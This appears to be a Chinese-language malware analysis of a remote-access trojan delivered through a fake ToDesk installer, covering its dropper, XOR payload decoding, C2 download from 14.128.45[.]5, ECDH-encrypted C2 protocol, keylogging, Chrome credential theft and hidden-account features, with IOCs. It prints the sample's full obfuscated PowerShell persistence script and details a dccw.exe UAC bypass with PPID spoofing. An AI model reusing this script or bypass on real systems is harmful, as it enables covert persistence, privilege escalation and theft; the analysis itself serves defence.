ARTICLE · 1272184
从伪装安装包到加密 C2 通信:某利用ECDH协商密钥的远控样本分析
这次分析的起点,是一个从仿冒的某远程工具站点 todeskek.com.cn 获取的安装包。在虚拟机中运行之后,虚机系统会“自动”关机,因此出于好奇开始尝试对该样本进行分析,页面对应的实际下载地址位于阿里云 OSS:
hxxps://todesk-64.oss-cn-hongkong.aliyuncs[.]com/ToDesk_x64_Installer.zip截至目前,常用的威胁情报平台中只发现腾讯威胁情报中心对下载域名进行了标记:

压缩包中的 ToDesk_x64_Installer.exe 约 4.83 MB。运行后,该程序会释放并打开真正的 ToDesk 程序用以迷惑终端用户,同时写入PE文件 wincfg80fa 到%LOCALAPPDATA%\WinCfg\ 目录中并启动,后者再从14.128.45[.]5的8080端口下载一个伪装成.ico后缀名的DLL文件,在自身进程中映射执行,最终与4433端口建立远控会话。
本文将其执行过程分成两个主要阶段:第一阶段完成解压、释放、远程下载和内存加载;第二阶段是加载远程DLL后的提权执行、持久化、远控相关通讯。通信部分也有两套不同的保护方式:8080 下载的 DLL 使用内置 XOR 密钥解码;4433 上的远控业务则通过临时 ECDH 密钥交换、HKDF+AES 加密传输,根据交互报文中的 EB3 特征,将这套协议简称为 EB3。
本样本值得一看的亮点是,之前少见有使用ECDH算法协商密钥进行通信的,这种方式保证每次运行通信使用的密钥是在内存中新生成的,即使后续获取了全部流量和样本相关产物,也无法对过去的流量进行解密。
样本沙箱运行结果:https://app.any.run/tasks/54b05ce5-9afe-4f09-9c1f-b8ecbc7baec8,文章提到的绝大多数材料可以通过该链接获取。
投递流程

分析对象
ToDesk_x64_Installer.exe,运行后解密出内层程序 | ||
Stage1:自定义包装、双分支释放与内存加载
读取自身 overlay,解出临时程序
DIE 将外层识别为 PE64,并提示存在较大的 overlay。其起点为 0x6E800,大小 0x465A63,占据了文件的大部分空间。

[外层 PE][加密的内层程序][XOR key: 4][inner length: 4]↑ 0x6E800
7A 9A A3 CB | |
0x465A5B | |
0x6E800 | |
%TEMP%\is_%08x.exe |
这一层的还原可以概括为:
key = outer[-8:-4]length = int.from_bytes(outer[-4:], ”little”)start = len(outer) - 8 - lengthinner = bytes(b ^ key[i & 3] for i, b in enumerate(outer[start:-8]))
程序按块读取、异或并写入临时文件,在 0x14000196A 调用 CreateProcessW,使用 CREATE_NO_WINDOW 启动内层程序。之后等待最多 300 秒,并尝试删除这个临时文件。
释放正常 ToDesk 与恶意 stub.exe
内层程序再次读取自身尾部。文件偏移 0x465A00 处保存了 87 字节清单,其中前 4 字节为密钥 43 69 10 25,其余字段经 XOR 还原后给出目录名、成员数量和各成员位置。
清单中的目录名为 b2e81ca5f,成员数为 2:
ToDesk_x64_Installer.exe | 0x6D600 | 0x83 | ||
stub.exe | 0x45E200 | 0x01 |
成员解密时,密钥索引按成员在内层文件中的绝对偏移对齐:
plain[i] = inner[member.offset + i] XOR key[(member.offset + i) & 3]真正的 ToDesk 程序被写入 %APPDATA%\b2e81ca5f\ToDesk_x64_Installer.exe,随后通过 ShellExecuteW 启动,使这次运行操作在用户眼中保持正常。
恶意程序的释放分支位于内层 RVA 0x2EB0。函数读取 LOCALAPPDATA,创建 WinCfg 子目录,再逐字符拼 wincfg和固定后缀80fa,最终输出路径为:
%LOCALAPPDATA%\WinCfg\wincfg80fa内层 RVA 0x3520 负责读取成员、XOR 解码和写文件。PE 本体写完后,还会追加 16 字节尾部:
0x0000—0x77FF stub.exe 的完整 PE,本体 30,720 字节0x7800—0x7807 运行时生成的 8 字节数据0x7808—0x780B 00 78 00 00,即本体长度 0x78000x780C—0x780F 45 42 53 31,即 ”EBS1”
因此,实际落盘文件为 30,736 字节。前 8 字节运行时尾部会变化,也即落盘文件的哈希并不固定。随后利用CreateProcessW 将该无扩展名路径明确作为 lpApplicationName 传入,作为PE执行。
wincfg:下载伪装DLL并利用映射加载
wincfg 主逻辑位于 0x140001B00。它在运行后先沿 PEB 模块链查找模块,通过哈希解析 API,再使用静态 XOR 密钥还原配置。

配置给出下载端点 14.128.45[.]5:8080、路径 /favicon387.ico,以及后续远控端点 14.128.45[.]5:4433。
HTTP 请求很短:
GET /favicon387.ico HTTP/1.1Host: 14.128.45.5
服务端返回 HTTP 200,Content-Type 为 image/x-icon,Content-Length 为 1931776。响应体按内置 256 字节密钥循环 XOR 后,出现完整的 MZ/PE 结构:
dll[i] = response_body[i] XOR key[i & 0xFF]
接下来,wincfg 在本进程分配内存,复制 PE 头和节区,处理重定位、导入和节权限,并注册 x64 异常展开表。它调用 DLL 入口,随后查找 load 导出,传入:
p1=14.128.45.5|o1=4433|hb=60|fz=TD|lk=1|其中 p1/o1 为远控主机和端口,hb=60 为心跳间隔秒数,fz=TD 为注册分组。lk=1 则在基础部署之后进一步启用本地提权与计划任务交接路径。
Stage2.1:DLL 接管远控会话与业务
由于这阶段在沙箱中得到的效果十分直观且完整,因此下文主要以沙箱中的产物为主辅助说明该阶段工作流程:
load 导出与模块分工
从 HTTP 响应还原的文件是一个 1,931,776 字节的 x64 DLL,它的主要执行链为:
load 0x18000DD90→ 解析配置、设置运行环境→ NextStage_Main 0x180001D20→ 多副本部署与计划任务 0x1800D0410→ lk=1 时尝试提权并交接 0x1800CD9F0→ 建立远控连接 0x18001F570→ EB3_MainSessionLoop 0x180013680→ ECDH 握手 0x1800072E0→ 主机注册、心跳→ EB3_ReceiveRecord 0x180012AC0→ EB3_DispatchCommand 0x18000A270→ 执行本地功能,再通过 EB3_SendRecord 回传
wincfg 提供下载和 PE 加载,DLL 同时包含密码实现、命令分发和远控功能。这种拆分使下载器只有约 30 KiB,而体积更大、功能更多的业务模块由终端远程获取,作者也可以随时替换远端 DLL,原来的投递与加载程序在下次运行时能够获取到最新的执行载荷。
获取客户端标识
客户端标识的处理位于 0x18000E070。它将 MachineGuid 去除分隔符、转成小写,构造 %TEMP%\eb3_<32位MachineGuid>.dat。文件内保存的是另行生成并复用的 32 个十六进制字符,本次沙箱中该文件名为 eb3_bb926e54e3ca40fdae902764341e7792.dat,内容为:
ab4576bb2937c79dd4c4b3cf692ba63c文件名中的 32 位后缀来自规范化后的 MachineGuid,文件内容来自 16 字节随机数据的十六进制编码。构造注册消息的 0x1800054A0 函数将这个标识放在正文最前面的 32 字节,随后追加用户、计算机和系统等信息,相同用户环境下的后续 wincfg 实例因而可以复用同一客户端身份。
多目录副本文件释放
DLL 主函数在建立远控连接之前,先调用 0x1800D0410 完成本地部署。复制函数 0x1800CD3D0 先读取当前 EXE 的 PE 本体,写入以下目标路径加 .eb 的临时文件,重新附加 16 字节 EBS1 尾部,再替换目标文件:
%LOCALAPPDATA%\WinCfg\wincfg80fa%LOCALAPPDATA%\Programs\wincfg80fa%LOCALAPPDATA%\Programs\Common\wincfg80fa
替换函数 0x1800CE8E0 会先把原文件改名为 .ebx,换入新文件后删除旧副本,并设置隐藏、系统属性。


提权并创建高权限计划任务与进程交接
在完成前期准备后,该 DLL 会释放一个动态生成的 PowerShell 脚本,并借助 UAC bypass技术以高权限执行该脚本,从而完成计划任务持久化部署与新旧进程的控制权交接。
负责部署持久化的 PowerShell 脚本由 DLL 内部函数 0x1800CD9F0 触发生成,文件名为 ewincfg80fa.ps1 。脚本主体由硬编码在 DLL 中的三段数据模板拼接而成,各部分原始数据均采用位于 0x1801ACAB0 处的 32 字节密钥进行 XOR 异或加密:
0x1801ABB78 | $ErrorActionPreference='Stop',确保遇到错误时立即终止 | |
0x1801AB640 | ||
0x1801ABBA0 | ha 同步标记、延时启动任务并自删除脚本 |
解密完成后,生成函数 0x1800D25E0 会将模板中的占位符替换为当前环境的实际值,随后交由外层函数写入文件。结合沙箱运行记录来看,在约 28.350 秒处,进程(PID 9200)在临时目录下释放了 %TEMP%\ewincfg80fa.ps1:
$ErrorActionPreference='Stop';$x=('New-ScheduledTas'+'kAction');$y=('New-ScheduledTaskTr'+'igger');$z=('New-ScheduledTaskSett'+'ingsSet');$w=('Register-Schedul'+'edTask');$a1=& $x -Execute 'C:\Users\admin\AppData\Local\Programs\wincfg80fa';$a2=& $x -Execute 'C:\Users\admin\AppData\Local\WinCfg\wincfg80fa';$a3=& $x -Execute 'C:\Users\admin\AppData\Local\Programs\Common\wincfg80fa';$t1=& $y -AtLogon;$t2=& $y -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1);$s=& $z -MultipleInstances IgnoreNew -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Seconds 0);& $w -TaskName 'wincfg80fa' -Action $a1,$a2,$a3 -Trigger @($t1,$t2) -Settings $s -RunLevel Highest -Force;$p=('New-ItemPropert'+'y');& $p -Path 'HKCU:\Software\wincfg' -Name 'ha' -Value 1 -PropertyType DWord -Force;Start-Sleep -Seconds 4;$q=('Start-ScheduledTas'+'k');& $q -TaskName 'wincfg80fa' -ErrorAction SilentlyContinue;Remove-Item -LiteralPath 'C:\Users\admin\AppData\Local\Temp\ewincfg80fa.ps1' -Force -ErrorAction SilentlyContinue
wincfg80fa | ||
Programs、WinCfg、Programs\Common 下的三个副本 | ||
AtLogon | ||
RunLevel Highest | ||
MultipleInstances IgnoreNew | ||
StartWhenAvailable / ExecutionTimeLimit 0 | ||
HKCU\Software\wincfgha=1,DWORD | ||
wincfg80fa 任务并删除自身 ewincfg80fa.ps1 |
由于注册带有 -RunLevel Highest 属性的计划任务需要管理员权限,函数 0x1800CD9F0 在执行脚本前会先进行环境评估:
检查当前进程访问令牌(Token)是否已提升; 检查当前账户是否隶属于 Administrators管理员组;遍历检查部分安全软件进程,并校验重试时间间隔。
当判定处于“管理员组但未提权”状态且环境安全时,样本会构造如下命令行,交由内置的本地提权模块执行:
cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\admin\AppData\Local\Temp\ewincfg80fa.ps1"提权核心机制:
获取高权限系统进程句柄:提权辅助路径首先启动普通进程 notepad.exe以获取内核调试对象(DebugObject),随后触发自动提权(Auto-Elevate)白名单程序dccw.exe。借助调试对象查询与句柄复制,恶意 DLL 成功拿到高完整性级别进程dccw.exe的高权限句柄。(代码中还硬编码了computerdefaults.exe、cleanmgr.exe、fodhelper.exe等多个白名单系统组件作为备选目标。)父进程属性伪造(PPID Spoofing):DLL 在 0x1800D70A0处调用UpdateProcThreadAttribute,利用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性将刚获取的dccw.exe句柄指定为待创建进程的父进程。权限继承与链式启动:随后,DLL 在 0x1800D70F6处调用CreateProcessW启动cmd.exe。由于指定了父进程属性,cmd.exe直接继承了dccw.exe的高权限访问令牌,并接着拉起powershell.exe执行上述脚本。
这一底层调用链也在沙箱监控的进程树得到了印证:原进程 wincfg 先后启动了 notepad.exe 与 dccw.exe,而命令执行则呈现出 dccw.exe ➔ cmd.exe ➔ powershell.exe 的父子层级关系:

初始化清理:原 wincfg进程在启动提权辅助路径之前,会先删除注册表中可能残留的旧ha键值。轮询等待:原进程通过函数 0x1800CD960循环读取ha的DWORD值,每 200 毫秒 检查一次,最多轮询 40 次(即最长等待 8 秒)。信号写入与旧进程退出:高权限 PowerShell 脚本成功注册计划任务后,立即写入 ha = 1。原进程捕获到ha = 1后,判定持久化部署完成,随即由主函数在0x180002166处调用ExitProcess(0)主动退出。延时接管:脚本在写入 ha = 1后,特意执行了Start-Sleep -Seconds 4(等待 4 秒),之后才调用Start-ScheduledTask主动启动任务。
Stage2.2:通信协议与会话密钥
该样本在 4433 端口上使用了一套自定义的二进制 TCP 协议与 C2 服务端通信。由于报文中包含特征 EB3\x01,下文将其简称为EB3 协议,该协议结合了ECDH密钥交换与AES-GCM 认证加密,不同于常见的硬编码密钥或者传输密钥的远控木马。
报文结构
EB3 协议的每条报文均以固定24 字节头部(Header)开头。结合逆向代码分析,头部各字段定义如下::
0x00 | 45 42 33 01,即 EB3\x01 | |
0x04 | 03 | |
0x05 | ||
0x06 | 01 | |
0x07 | 00 | |
0x08 | ||
0x0C | ||
0x10 | ||
0x12 |
根据头部 0x05 处的加密标志,报文载荷呈现两种封装形态:
明文阶段(握手期): Header[24] || Body[N]加密阶段(会话期): Header[24] || Nonce[12] || Ciphertext[N] || Tag[16]

在加密会话中,样本采用AES-GCM模式同时保证机密性与完整性:
Nonce 构造(12 字节):由前 8 字节的 0x00加上头部消息序号(转为 4 字节大端序)拼接而成。附加认证数据(AAD):完整的 24 字节头部直接作为 GCM 模式的 AAD 参与校验。这意味着中间人一旦篡改头部任何字段(如序号、长度或消息类型),解密时的 Tag[16]校验就会直接失败。
ECDH-P256 密钥交换与流量解密限制
样本的密码学组件在函数 0x18000DCE0 中完成初始化,底层完全依赖 Windows 原生框架,加载了 ECDH_P256、AES(GCM 模式)以及 SHA256(HMAC 模式)算法提供程序。
三次握手与公钥交换流程(主逻辑位于0x1800072E0):
Client Hello:客户端首先发送一段 6 字节的明文探测载荷 03 00 07 00 00 00。客户端发送临时公钥(Msg Type 0x0A):函数0x1800078A0调用BCryptGenerateKeyPair在本地动态生成一对临时的 P-256 椭圆曲线密钥对,随后仅导出 65 字节的未压缩公钥发送给服务端: - 格式:0x04(未压缩标识, 1B) || X 坐标(32B) || Y 坐标(32B)服务端响应公钥与盐值(Msg Type 0x0B):服务端同样生成临时密钥对,并将自身的 65 字节公钥连同 16 字节随机盐值(Salt)一并返回,总长 81 字节: - 格式:Server_Public_Key[65] || Salt[16]
拿到 ECDH 协商出的原始共享机密后,样本通过标准的HKDF-SHA256算法派生出最终的 32 字节会话密钥(AES-256)。
密钥的保存与清理
在完成对称密钥对象的创建后,样本会立即抹除栈上的敏感中间数据,仅保留 CNG 句柄供后续调用,这样可以一定程度干扰动态调试并且做到每次运行的密钥不固定,但是还是可以通过进程的堆内存中获取,不过只对当前运行的进程流量有效。
控制命令
在建立连接之后,dll中有统一的业务分发入口0x18000A270,根据不同的控制码进入不同的业务逻辑:

0x01 | |
0x0A | |
0x0B | |
0x02 | |
0x03 | |
0x04 | |
0x06 | |
0x81 | |
在代码中,功能模块内部还会有自己的控制码,例如0x81 是通用命令外层,正文解密后数据的首字节才决定具体功能, 0x30 进入屏幕控制,0x31 进入输入控制,0x32 进入键盘记录控制;0x83 是电源与卸载类别命令外层,内层0x01进入注销,0x02进入重启,0x03进入关机,0x04进入卸载、退出流程。
流量对照
以 ANY.RUN 沙箱记录的流量包为与本地虚拟机执行捕获的流量作对照。沙箱运行约 300 秒,后者约 45 秒,以沙箱结果为例,前两条 8080 会话重复获取了同一个载荷,也印证了从反编译中发现的程序首次运行后,会为了高权限运行重新拉起一次自身程序,同时会再次请求一次dll,随后的 4433 会话才进入 DLL 的远控业务。

192.168.100.11:50419 | 192.168.85.179:49761 | |
14.128.45.5:4433 | 14.128.45.5:4433 | |
0x01 | ||
0x0A | ||
0x0B | ||
0x02 | ||
0x81 | ||
0x04 | ||
0x06 数据开始 |
两个会话都是收到同样长度的0x81控制指令后,迅速返回一条状态记录,再进入持续的大量 type 0x06 上传。结合 DLL 中完整的 GDI/DXGI 屏幕采集、WIC 编码和发送路径,这段交互指向屏幕回传。ANY.RUN 中该数据段持续到 88.047131 秒,虚拟机中持续到 41.989846 秒。
沙箱中的终端分别在 106、166、226和286秒发送 type 0x03 心跳,正文长度为 10 字节。约 60 秒的间隔与 hb=60 配置吻合。本地虚拟机运行样本后不足一分钟就“自动”关机,没有到下一次心跳时间,根据抓包发现其在约 41.941 秒收到一条特殊指令:

根据之前的说明,0x83指向的是电源类控制流程,虽然没有解密出内层控制码,但很明显是下发的关机指令。
DLL 功能详细分析
命令分发概览
0x18000A270 是业务分析的主要入口。外层记录解密后,它根据消息类型和正文子命令,进入文件、桌面、进程、网络、凭据、持久化和账户等模块。
下表按代码能力列举部分重点功能:
0x1800054A0 | ||
0x1800079E00x180013090 | cmd.exe /c,通过管道读取标准输出和错误输出 | |
0x20—0x2A | ||
0x180014AA00x180017B80 | ||
0x180015CE0 | SendInput | |
BlockInput | ||
0x18000D9500x18000DB60、0x18000C320 | ||
0x33,0x180020290 | ||
0x40 | ||
0x41,0x18001C260 | ||
0x42,0x180019DE0 | ||
0x1800D04100x1800CD9F0,另有子命令 0x43 | ||
0x44,0x18001EF60 | Software\EmberBone\Whitelist 中的列表 | |
0x46,0x180004C00 | ||
0x180002FF0 | ||
0x47,0x18001E010 | ||
0x49,0x18001AFD0 | ||
0x83 |
命令执行与文件数据回传
命令执行函数 0x180013090 创建匿名管道,隐藏启动 cmd.exe /c,将输出和错误句柄接入管道,再通过 PeekNamedPipe/ReadFile 读取结果。单次输出上限为 8,192 字节,执行等待约 15 秒,超时路径会终止子进程。
文件传输则有独立的任务状态。读取目标文件后,0x180019A70 按 16 KiB 块构造 0x24 子类型,带上传输编号和块序号,使用 type 0x06 回传;完成时再发送 type 0x07。
键盘记录与剪贴板文本
键盘模块创建名为 EB3KlSink 的隐藏窗口,注册键盘设备,并设置 RIDEV_INPUTSINK,从窗口消息中接收后台输入。
窗口过程 0x18000DB60 处理 WM_INPUT,通过 GetRawInputData 取得键盘数据,交给 0x18000CC60 处理修饰键、功能键和字符转换。普通字符会结合键盘布局进行转译,特殊按键则保存为 [BKSP]、[ESC]、[F…] 等文本。
该模块还注册剪贴板监听。在处理复制、剪切时,0x18000C320 调用 OpenClipboard/GetClipboardData,读取 Unicode 或 ANSI 文本,并将其连同 CTRL+C/CTRL+X 标记写入记录缓冲区。
记录使用 64 KiB 环形缓冲,按时间、缓冲状态或控制请求刷新,再作为 type 0x04、正文前缀 32 01 回传。发送失败时,数据按静态 XOR 混淆后暂存到:
%TEMP%\eb3_kl.dat会话注册后的正常执行路径会启动键盘记录模块,服务端也可以通过 0x32 子命令控制其状态。
Chrome 登录数据与内嵌辅助模块
代码中存在两个浏览器凭据窃取模块,其中之一是读取 Chrome 的 Local State 和 Default\Login Data,从 JSON 中提取 encrypted_key 与 app_bound_encrypted_key,再按不同封装分支处理密钥。
随后根据密码字段的 v10/v20 前缀选择对应密钥,将AES解密后的网址、用户名、密码组织成以零字节分隔的结果回传。
此外,0x180002FF0 还包含浏览器数据清理功能,目标覆盖 Chrome、Edge 和 Baidu 的部分登录数据与本地存储目录。
网络管理、隐藏账户与持久化配置
代码中通过 GetExtendedTcpTable/GetExtendedUdpTable 关联连接、端口和进程,还存在路径调用系统防火墙与路由工具,使用 C2_Block_P%u 等规则标记阻断或恢复通信,便于远端管理目标主机的网络状态。
账户管理函数动态解析 netapi32.dll 中的 NetUserAdd、NetLocalGroupAddMembers 和 NetUserDel。创建账户后,可将其加入 Administrators 与 Remote Desktop Users,并在下面的注册表位置为用户名写入值 0,以隐藏登录界面中的账户条目:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList持久化管理既可以枚举 Run 项和计划任务,也会将自定义配置混淆保存到:
HKCU\Software\Classes\CLSID\{EB3PERSIST-9F2C4D8A}P REG_BINARY
IOCs
域名、地址与网络路径
todeskek[.]com[.]cn | |
todesk-64.oss-cn-hongkong.aliyuncs[.]com | |
hxxps://todesk-64.oss-cn-hongkong.aliyuncs[.]com/ToDesk_x64_Installer.zip | |
14.128.45[.]5:8080 | |
hxxp://14.128.45[.]5:8080/favicon387.ico | |
14.128.45[.]5:4433 | |
文件与配置痕迹
%TEMP%\is_%08x.exe | |
%LOCALAPPDATA%\WinCfg\wincfg80fa | |
%LOCALAPPDATA%\Programs\wincfg80fa | |
%LOCALAPPDATA%\Programs\Common\wincfg80fa | |
wincfg80fa | |
HKCU\Software\wincfg | |
%TEMP%\eb3_<32位MachineGuid>.dat | |
%TEMP%\eb_dbg_lock.log |















































































